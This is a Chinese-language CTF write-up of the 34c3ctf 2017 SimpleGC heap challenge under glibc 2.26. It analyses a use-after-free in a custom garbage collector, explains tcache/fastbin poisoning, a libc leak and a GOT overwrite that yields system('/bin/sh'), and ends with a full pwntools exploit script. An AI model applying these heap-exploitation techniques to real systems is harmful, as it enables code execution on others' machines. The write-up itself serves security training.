一道glibc 2.26堆利用的题目
题目链接:https://github.com/Hcamael/CTF_repo/tree/master/34c3ctf%202017/SimpleGC
部署调试环境 本题的libc给的是2.26版本的,测试系统用的是ubuntu16.04,libc版本为2.24,得知2.24-2.26在堆管理这块更新了一些机制,所以不能用本地的libc进行测试
这个可以使用:
LD_PRELOAD=./libc-2.26.so 来指定libc库
自己编译一份2.26的libc
因为目前没发现有使用glibc 2.26的linux系统,所以只有上面两种方法
分析漏洞 sub_40131B函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 edit_group() { int v1; group_heap *v2; char nptr; char v4; unsigned __int64 v5; printf("Enter index: "); read_len((__int64)&nptr, 4uLL); v1 = atoi(&nptr); if ( database[v1] ) { printf("Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): "); read_len((__int64)&nptr, 2uLL); printf("Enter new group name: "); if ( nptr == 'y' ) { read_len(database[v1]->group, 0x18uLL); } else { read_len((__int64)&v4, 0x18uLL); v2 = add_group_number(&v4); if ( v2 ) database[v1]->group = v2->group; else database[v1]->group = _store_group((__int64)&v4)->group; } } }
在这个函数中有两个漏洞,一个输入的v1未经检查,可以造成数组越界的问题
另外一个就是当输入n
的时候,会重新增加一个group,然后把当前user的group指向新的group,而当前group的计数位不会减1,这就会导致一个情况,可以让一个group的计数位增加到0x100
再看另一个线程执行的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 start_routine() { unsigned int i; sleep(1u); while ( 1 ) { for ( i = 0; i <= 0x5F; ++i ) { if ( group_database[i] ) { if ( !LOBYTE(group_database[i]->number) ) { free((void *)group_database[i]->group); free(group_database[i]); group_database[i] = 0LL; } } } sleep(0); } }
这个函数是本题的关键函数,属于自己使用代码实现的垃圾回收机制,当group的计数位为0的时候,则表示该group没有user使用,所以进行两个free操作,因为取的是计数位的一个字节,所以如果计数位为0x100,则判断为0,进行free操作,这样将会造成uaf漏洞,释放后的堆还能被使用。
但是这个漏洞的利用太麻烦了,下面,还有一个更容易利用的漏洞
sub_4011c4函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 delete_user() { unsigned int v1; char nptr; unsigned __int64 v3; printf("Enter index: "); read_len((__int64)&nptr, 4uLL); v1 = atoi(&nptr); if ( v1 <= 0x5F ) { if ( database[v1] ) { sub_401139((const char *)database[v1]->group); free(database[v1]); database[v1] = 0LL; } } else { puts("invalid index"); } }
在该函数中调用了sub_401139
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 sub_401139(const char *a1) { unsigned __int16 i; for ( i = 0; i <= 0x5Fu; ++i ) { if ( group_database[i] && !strcmp(a1, (const char *)group_database[i]->group) ) { if ( LOBYTE(group_database[i]->number) ) --LOBYTE(group_database[i]->number); } } }
该函数的目的是,传入被删除的user的group_name,然后到group数据库中去查找是该名字的group,把计数位减1
正常情况下看这逻辑是没问题的,因为无法创建两个同名的group
但是在edit_group
函数中,如果输入y
的情况下,我们能对group_name进行修改,这样就能导致A和B两个group重名,group_name都为test1
,这样在删除的情况下,两个group的计数位都会进行自减1,最后导致uaf漏洞
利用 使用上述第二个漏洞进行利用
首先增加6个不同group
Name
Group_name
Age
a
b
0
a
bb
0
a
bbb
0
a
bbbb
0
a
bbbbb
0
a
bbbbbb
0
然后修改第5个group的group_name
为bbbbbb
和第六个同名
然后我在delete前5个user
这样在主线程中,一个free了5个size=0x21的fastbin,将放入tcache中
然后在子线程中,一个group free了两个size=0x21的fastbin,将放入tcache
不同线程中,tcache的储存位置不同,tcache的一个size一共能储存最多8个该size的chunk,当tcache满了以后,将会放入fastbin中
所以在这一波骚操作以后,主线程的tcache中,一个有5个size=0x21的chunk
而在子线程中,tcache已经被存满了8个size=0x21的chunk
在第5个user被delete的时候,因为第五个user的group_name已经被修改为和第六个user的group_name重名,所以两个group的计数位皆会自减1,然后在子线程中被free,因为这时候该size的tcache中已被填满,所以被free的chunk将会被放入fastbin中,0x20的fastbin将会有4个
这个时候第6个user还存在,但是其group却被free,这造成了uaf漏洞,如果我们输出该user的信息,在group字段后面将会输出fastbin单链表中的fd地址信息,可以计算出堆地址(但是对本题没啥用)
因为第6个user并没有被delete,所以我们仍然能使用edit_group
对其的group_name
进行修改, 但是因为存储group_name的chunk已经被free,所以我们可以修改该fastbin的fd
修改到地址: 0x6020E0
该地址是user的指针数组,我们把该地址-0x10改写到fastbin的fd中去
然后通过edit_group
函数,输入n
,进行新建group,首先新建两个group,从tcache中拿出去了4个chunk,因为在主线程中,tcache只有5个chunk,所以再次新建一个group,则会从tcache中拿出最后一个chunk,然后把fastbin中的chunk放入tcache中去,再获取一个chunk
这个时候tcache中size=0x21的chunk指针指向的是(0x6020E0-0x10)
所以我们再次新建一个group,用于储存group_name的chunk的返回地址就是0x6020E0
这样我们就能在0x6020E0地址开始任意写入0x18byte的数据
/bin/sh\0
0x6020E0
free_got
把上述数据写入0x6020E0
地址后,user[1]指向的就是地址0x6020E0
,看起结构体组成:
1 2 3 4 5 database_heap struc ; age dq ? name dq ? group dq ? database_heap ends
首先是age,然后是指向name的地址,然后是指向group的地址,当我们输出user1时,在group字段将会输出free_got地址的值,这样就能计算出libc的基地址,从而算出system的地址
我们再把free_got的地址改成system的地址
当我们delete user1时,调用的是free(0x6020E0),而实际调用的是system("/bin/sh")
,从而达到getshell的目的
附上完整payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import * # context.log_level = "debug" def addUser(name, group, age): r.sendlineafter("Action:", "0") r.sendlineafter("name:", name) r.sendlineafter("group:", group) r.sendlineafter("age:", str(age)) def displayGroup(groupName): r.sendlineafter("Action:", "1") r.sendlineafter("name:", groupName) def displayUser(idx): r.sendlineafter("Action:", "2") r.sendlineafter("index:", str(idx)) r.recvuntil("Group: ") return r.readline().strip() def editGroup(idx, propogate, groupName): r.sendlineafter("Action:", "3") r.sendlineafter("index:", str(idx)) r.sendlineafter("(y/n):", propogate) r.sendlineafter("name:", groupName) def deleteUser(idx): r.sendlineafter("Action:", "4") r.sendlineafter("index:", str(idx)) userArr = 0x6020e0 free_got = 0x602018 r = process(['/opt/libc-2.26/lib/ld-linux-x86-64.so.2', '--library-path', '/opt/libc-2.26/lib/', './sgc']) e = ELF("/opt/libc-2.26/lib/libc-2.26.so") for i in range(9): addUser("A", "B"*i, 0) editGroup(4,"y","B"*5) # raw_input() for i in range(5): deleteUser(i) sleep(1) heap_base = u64(displayUser(5).ljust(8, '\0')) - 0x590 log.success("heap_base at: "+hex(heap_base)) editGroup(5,"y", p64(userArr-0x10)) # raw_input() editGroup(5, "n", "1-2") editGroup(5, "n", "3-4") editGroup(5, "n", "5-fastbin1") payload = "/bin/sh\0" payload += p64(userArr) payload += p64(free_got) editGroup(5, "n", payload) # raw_input() libc_free = u64(displayUser(1).ljust(8, '\0')) libc_base = libc_free - e.symbols["free"] log.success("libc_base at: "+hex(libc_base)) system_add = libc_base + e.symbols["system"] editGroup(1, "y", p64(system_add)) raw_input() deleteUser(1) r.interactive()
该题中tcache的相关细节我没有细说,因为打算写一篇是专门研究tcache机制的博文
参考链接
http://blog.rh0gue.com/2018-01-05-34c3ctf-simplegc/
http://tukan.farm/2017/07/08/tcache/